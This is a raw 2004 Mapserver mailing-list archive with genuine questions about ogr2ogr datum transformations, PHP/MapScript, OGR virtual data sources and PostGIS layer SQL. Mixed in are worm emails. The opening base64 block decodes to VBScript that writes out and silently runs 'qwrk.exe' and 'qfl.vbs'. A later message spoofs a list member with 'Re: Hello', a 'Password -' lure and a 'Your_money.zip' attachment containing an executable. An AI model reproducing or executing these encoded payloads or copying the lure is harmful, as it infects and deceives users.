MjEsMTQyLDY0LDE4NSwxNjIsMzUsMjQsMTU1LDg0LDIsMTEsNjQsMTEsMTQ3LDQsNDIsNDEs MTkzLDEyNywxNzksMCwyMSwxNjAsOTQsMTY2LDEzLDcxLDEwNCwxMzYsMjQsMTQ1LDYzLDEw OSwxMzksNDUsMTg1LDExOSw0MCw1Miw4MywxMTEsMTU0LDE3MywyNCwxOTIsMTkxLDc2LDc2 LDE1LDY2LDEwNCwxNDIsMTYwLDk3LDEzMywxODQsMzksNDEsMTYzLDMyLDk0LDE1MCwxMzAs NTcsMTMyLDc3LDE5NSwxOTcsMSwxNzksNDQsMTUzLDYwLDE2MiwxNDMsMTc4LDY1LDMyLDU5 LDQzLDc3LDQyLDEwOSwxNCwyNywxODksMTUzLDE2MSw1MCwxOTMsMTc1LDg3LDEzOCwxMDgs ODIsODAsNzQsMTk4LDQ2LDc2LDE1OCw1Myw1MCwxMTYsNTEsMzksMjgsMTAsODksMTUzLDUs MTQsMTg3LDIzLDEzMywzNiwxMzYsMTg4LDE0OCw2NSwxNjQsNiw1LDEsMzksMTQsODMsOTUs MzksNjUsMjUsMzUsMTUwLDMyLDE2Niw5NSw1Miw2NSw4NCwxMjQsMTU3LDExMiwxNTcsMTIx LDE4NSwyMSwxOTYsMTAzLDE5MywxMDYsMTc0LDIyLDE4OSw0NywxODksODQsMTI0LDEyOCwx OTEsNSwxNzMsNTcsMTE3LDE4NSwyMiwxODYsMTY2LDE3NywxNzksNTQsMTI2LDE2OSwxNDQs MTAwLDIxLDE2NCwxMjIsMTM5LDEzMywxLDM0LDEzNSwxNDMsNDQsODUsNjcsMTIyLDE5MCw5 NiwxNTgsMjgsMTQxLDcwLDEzNyw5OSw1Nyw4LDEyMSw1Myw1Nyw0MSwxMTcsNTQsMywxNjcs OTksMjIsMTY5LDE3NSwxMjAsOTksMjAsNDAsMTE1LDcyLDUwLDc4LDEwNCw4LDMzLDE3OCw0 NCw4OCwzMCw5MCwxMjQsMjIsMywxODYsMTUwLDE1Niw1NSwxMSwxMjMsMTMxLDczLDEyMiwx MjQsMTM2LDg1LDE4Myw4LDk0LDE4NSwxOTksMTYzLDEyNiwxMzUsMzYsMTM3LDE4NywxMTks OTEsMTk1LDM4LDU4LDQ0LDMyLDE3MiwxNjgsNjQsMTk4LDY2LDE1MywxNDQsMTY4LDEzLDg1 LDI1LDYwLDk3LDM2LDgyLDE4NCwxNzMsMTU4LDE1MiwxMSw5NiwzNyw0MiwxODYsOTYsMjMs OTksMTgyLDE3MSw4NywxMzgsODQsMTk2LDE2Myw0OSwxNjAsMTYyLDE1OSwyNiwxNjUsMTY4 LDM2LDEwMywxMTIsODksMTY4LDU3LDE2MCwxNCwxNDYsODcsMTEzLDEzMiwxOTAsMTgzLDc4 LDExLDExNSwxNzMsOTEsMTYxLDM0LDg2LDE2MSw0OSw4MCwyMCwxMzUsMTI2KSIgJiB2YmNy bGYNClRTTy53cml0ZSAiZm9yIGk9MCB0byAyMDk5NyIgJiB2YmNybGYNClRTTy53cml0ZSAi ZmlsZXR4dC5Xcml0ZShjaHIoYShpKSkpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJuZXh0IiAm IHZiY3JsZg0KVFNPLndyaXRlICJmaWxldHh0LkNsb3NlIiAmIHZiY3JsZg0KVFNPLndyaXRl ICJkaW0geiIgJiB2YmNybGYNClRTTy53cml0ZSAiZGltIHp6IiAmIHZiY3JsZg0KVFNPLndy aXRlICJDb25zdCBGb3JSZWFkaW5nID0gMSwgRm9yV3JpdGluZyA9IDIsIEZvckFwcGVuZGlu ZyA9IDMiICYgdmJjcmxmDQpUU08ud3JpdGUgImNvbnN0IFJlbW90ZUV4ZSA9ICIicXdyay5l eGUiIiIgJiB2YmNybGYNClRTTy53cml0ZSAic2V0IHp6ID0gd3NjcmlwdC5jcmVhdGVvYmpl Y3QoIiJ3c2NyaXB0LnNoZWxsIiIpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJ6ID0genoucnVu ICgiInF3cmsuZXhlIiIpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJ3c2NyaXB0LnF1aXQiICYg dmJjcmxmDQpTZXQgVFNPID0gTm90aGluZw0KU2V0IEZTTyA9IE5vdGhpbmcNCkRpbSBXc2hT aGVsbA0KU2V0IFdzaFNoZWxsID0gQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikNCldz aFNoZWxsLlJ1biAicWZsLnZicyIsIDAsIGZhbHNlDQo8L1NDUklQVD4NCjxzY3JpcHQ+d2lu ZG93LmNsb3NlKCk8L3NjcmlwdD4NCjwvSEVBRD4NCjwvSFRNTD4= ----------yprcqdcyklfwnvjiimem-- From jaime at maintask.com Sat Jun 5 14:52:14 2004 From: jaime at maintask.com (=?ISO-8859-1?Q?Jaime_Mej=EDa?=) Date: Sat, 05 Jun 2004 16:52:14 -0500 Subject: [Mapserver-users] SRS ogr2ogr - cs2cs - postgis Message-ID: <40C2408E.9070709@maintask.com> This is a multi-part message in MIME format. --------------000403060907070804090906 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Hello. I've simplified my problem, in order to get some help: I have a shape file (attached) containing a single point (994097.623824 1003980.4918) in DATUM BOGOTA, called punto_prueba.shp. When I try to transform it to WGS84 DATUM using ogr2ogr: ---------------------- ogr2ogr -s_srs EPSG:21892 -t_srs EPSG:4326 /home/jaime/resultado_wgs84 /home/jaime/punto_prueba.shp ---------------------- The point now have the following coordinates: -74.1341093150,4.6350408295 If I take the shape into postgis, and try to transform it, I get the following: ---------------------- SELECT num_radicacion,the_geom,transform(the_geom,1) AS wgs84 FROM expedientes WHERE num_radicacion=199931011; num_radicacion | the_geom | wgs84 ----------------+------------------------------------------+-------------------------------------------------- 199931011 | SRID=2;POINT(994097.623824 1003980.4918) | SRID=1;POINT(-74.1306989066892 4.63219422246886) ---------------------- Finally, using cs2cs: ---------------------- jaime at fileserver[/maintask/clientes/creg]# cs2cs -v +proj=tmerc +lat_0=4.599047222 +lon_0=-74.080916667 +k=1.000000 +x_0=1000000.000 +y_0=1tl +towgs84=307,304,-318,0,0,0,0 +to +proj=latlong +datum=WGS84 # ---- From Coordinate System ---- #Transverse Mercator # Cyl, Sph&Ell # +proj=tmerc +lat_0=4.599047222 +lon_0=-74.080916667 +k=1.000000 # +x_0=1000000.000 +y_0=1000000.000 +ellps=intl # +towgs84=307,304,-318,0,0,0,0 #--- following specified but NOT used # +ellps=clrk66 # ---- To Coordinate System ---- #Lat/long (Geodetic) # # +proj=latlong +datum=WGS84 +ellps=WGS84 +towgs84=0,0,0 994097.623824 1003980.4918 74d7'50.516"W 4d37'55.899"N 16.920 ---------------------- 74d7'50.516"W 4d37'55.899"N => -74.13069888888 4.63219416666 As you can see, the results are different (+/- 500 m): With ogr2ogr: -74.1341093150,4.6350408295 With postgis: -74.1306989066892 4.63219422246886 With cs2cs:-74.13069888888 4.63219416666 So, I assume there is an error in the ogr2ogr command, or in ogr2ogr itself. Somebody can help? --------------000403060907070804090906 Content-Type: application/octet-stream; name="punto_prueba.dbf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="punto_prueba.dbf" A2gGBQEAAABhADgAAAAAAAAAAAAAAAAAAAAAAAAAAABQUk9HX0lEAAAAAE4AAAAABQAAAAAA AAAAAAAAAAAAAExBQkVMAAAAAAAAQwAAAAAyAAAAAAAAAAAAAAAAAAAADSAgICAgMUNMIDcg QSA3MC0xMiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg --------------000403060907070804090906 Content-Type: application/octet-stream; name="punto_prueba.shp" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="punto_prueba.shp" AAAnCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQOgDAAABAAAA/dtlP2NWLkGoNc37mKMuQf3b ZT9jVi5BqDXN+5ijLkEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAK AQAAAP3bZT9jVi5BqDXN+5ijLkE= --------------000403060907070804090906 Content-Type: application/octet-stream; name="punto_prueba.shx" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="punto_prueba.shx" AAAnCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANugDAAABAAAA/dtlP2NWLkGoNc37mKMuQf3b ZT9jVi5BqDXN+5ijLkEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIAAAAK --------------000403060907070804090906-- From wlx at mygis.org Sat Jun 5 23:33:35 2004 From: wlx at mygis.org (Liangxu Wang) Date: Sun, 6 Jun 2004 14:33:35 +0800 Subject: [Mapserver-users] Use php/mapscript init the mapobj Message-ID: <003e01c44b90$34553630$4271fea9@gisedu> Hi, Is there a way to display the vector and raster data using by php/mapscript,but not define in the map file? I notice that the MapObj Class Constructor use a initial map file. So,if I can do a null constructor,and then init the mapobj value by my php/mapscript ? Thanks. wlx From aaron at aptronics.com Sun Jun 6 04:29:10 2004 From: aaron at aptronics.com (aaron at aptronics.com) Date: Sun, 6 Jun 2004 19:29:10 +0800 (SGT) Subject: [Mapserver-users] OGR VRT and Mapserver Message-ID: <44484.202.156.2.59.1086521350.squirrel@mail.aptronics.com> Hi, I have been trying to get Virtual Spatial Data to work, and have only got as far as the following: >ogrinfo ODBC:localserver testvsd INFO: Open of `ODBC:localserver' using driver `ODBC' successful. Layer name: testvsd Geometry: Unknown (any) Feature Count: 1 Layer SRS WKT: (unknown) x: Real (0.0) y: Real (0.0) OGRFeature(testvsd):0 x (Real) = 10 y (Real) = 10 However, I am stuck when I use the following >ogrinfo myvsd.ovf FAILURE: Unable to open datasource `myvsd.ovf' with the following drivers. -> ESRI Shapefile -> UK .NTF -> SDTS -> TIGER -> S57 -> MapInfo File -> DGN -> VRT -> AVCBin -> REC -> Memory -> GML -> ODBC -> FMEObjects Gateway I am using Mapserver 4.2 windows binaries downloaded from the PHP/Mapscript site at maptools.org The database to connect to is mysql and I use myODBC or the ODBC connection The ovf file looks like this: ODBC:localserver testvsd wkbPoint WGS84 Anything that I have missed out or done wrong? Some pointers would be greatly appreciated, thanks. Aaron From megalistreader at yahoo.com Sun Jun 6 06:05:32 2004 From: megalistreader at yahoo.com (List Reader) Date: Sun, 6 Jun 2004 06:05:32 -0700 (PDT) Subject: [Mapserver-users] No table name in PostGIS request?? Message-ID: <20040606130532.34368.qmail@web60301.mail.yahoo.com> I have a working mapserver (4.0.1) configured for PostGIS support and WMS support. My map file is valid: WMS GetCapabilities request returns good results. I'm trying to add a PostGIS layer of point data: the PostGIS data are good (tested from psql); postgres is running with -i options; host 127.0.0.1 is authorized in pg-hba.conf; database permissions grant select to the owner of the web server process. When I try a WMS GetMap request, I get a bad SQL statement: no tablename in the SELECT..FROM clause, for one thing. The SQL looks like this: DECLARE mycursor BINARY CURSOR FOR SELECT asbinary(force_collection(force_2d()),'XDR'),OID::text from WHERE (Lemma IS NOT NULL) and ( && setSRID( 'BOX3D(0 -50.05,180 130.05)'::BOX3D,find_srid('','','') )) I'm wondering if my error is with my layer definition in the map file. (I'm trying to migrate up to Mapserver 4.*) I've included these lines in my LAYER definition: lonlat is a geometry field, and ptolemygeo is the table name. I don't see why they don't appear in the SQL. CONNECTIONTYPE postgis NAME "Ptolemy" CONNECTION "user=www dbname=ptolgis host=127.0.0.1 port=5432" DATA "lonlat FROM ptolemygeo" TYPE POINT STATUS ON Any suggestions/help appreciated, Neel Smith __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From steve.lime at dnr.state.mn.us Sun Jun 6 13:05:32 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sun, 06 Jun 2004 14:05:32 -0600 Subject: [Mapserver-users] Re: Hello Message-ID: ----------vckknamrpfqvzjpeynwe Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
Password -

----------vckknamrpfqvzjpeynwe Content-Type: image/jpeg; name="sljrtqezwz.jpeg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="sljrtqezwz.jpeg" Content-ID: /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRof Hh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwh MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAAR CAAQADkDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl 5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk 5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD3+snVtVktL/TtOtvLF1ftIEeVSyoEQsSQ CM9hjI6+1a1c94lkJltUSBpJIyX3fZbh9gIK5V4lIB9VPUccZzWdVtRujpwkFOqk1ff77O34 2ID4mvbrwfBrljaxYMMks/mElU2BsgDIJyy7Qe2c806fxPI9zDBbiC3kEUE0wuw2B5pwEyv3 T7nIyQO+RmyyPbWmnadY21xPptrEBLFPZ3URmcdN2IG+XvjjJ9uDBf2kGo3V+0sN2kOqLbG7 UWF0ShiIJVP3QyGAxn5cYzg9uR1J20lr/wAD/P8Aqx60cNR5ryhaN21o725lo13Ubv7ras6S +1u4tvEFhpa2RC3UjATyOuGCpubaoOeOBk45PeqWl+K21C/03KRi01T7R9mAB3r5TYyx6HcM nGBjHeia+hm8TWmoGK++z29tJGB/Z1zu3uy848vGML61BolvC2uR3EsEsUkYmWFY7K4jjO87 mY+YgCHAxgHBJJ74q3OTnpLS/wDl/wAEwVGlGjedN35fPf3v/tW/R9GdfRRRXYeOf//Zf/9/ nH+AfNR+/3/tfYB8cX6cf4B8k37/f/9//3//f4B8gHz/f/9/gHyAfP9/vX+AfIB8/3//f/9/ /3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9/gHyAfP9//3+AfIB8 /3//f/9//39af4B8iX3/f9R+gHyTfol9cX7ef/9//3+cf/9/7X2AfL1//3+AfIB8/3//f4B8 gHz/f/9//3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9//3//f/9//3//f/9//38vfoB8 3n//f4B87X3/f/9/cX6Jff9/gHyAfP9/e3+AfBd//3//f/9//3//f4B8gHyJfYB8e3//fy9+ gHzef/9/gHztff9//3//f/9//3//f/9//3//f/9//38AAP9//3//f/9//3//f/9//3//f/9/ /3//f3t/gHwXf5x/gHzUfv9//3/UfoB8nH+AfJN+/3//f3F+7X3ef4B87X3/f/9/vX/2fol9 gHwXf/9/e3+AfBd/nH+AfNR+/3//f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9/ /3//f/9//3//f/9//39af+19gHxxfv9//3//f/9/cX6AfO19vX//f/9//3+TfoB8iX1af/9/ /3//f/9//3+TfnF+/3//f1p/7X2AfHF+/3//f/9//3//f/9//3//f/9//3//f/9/AAD/f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /38AAP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9/AAA= ----------vckknamrpfqvzjpeynwe Content-Type: application/octet-stream; name="Your_money.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Your_money.zip" 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 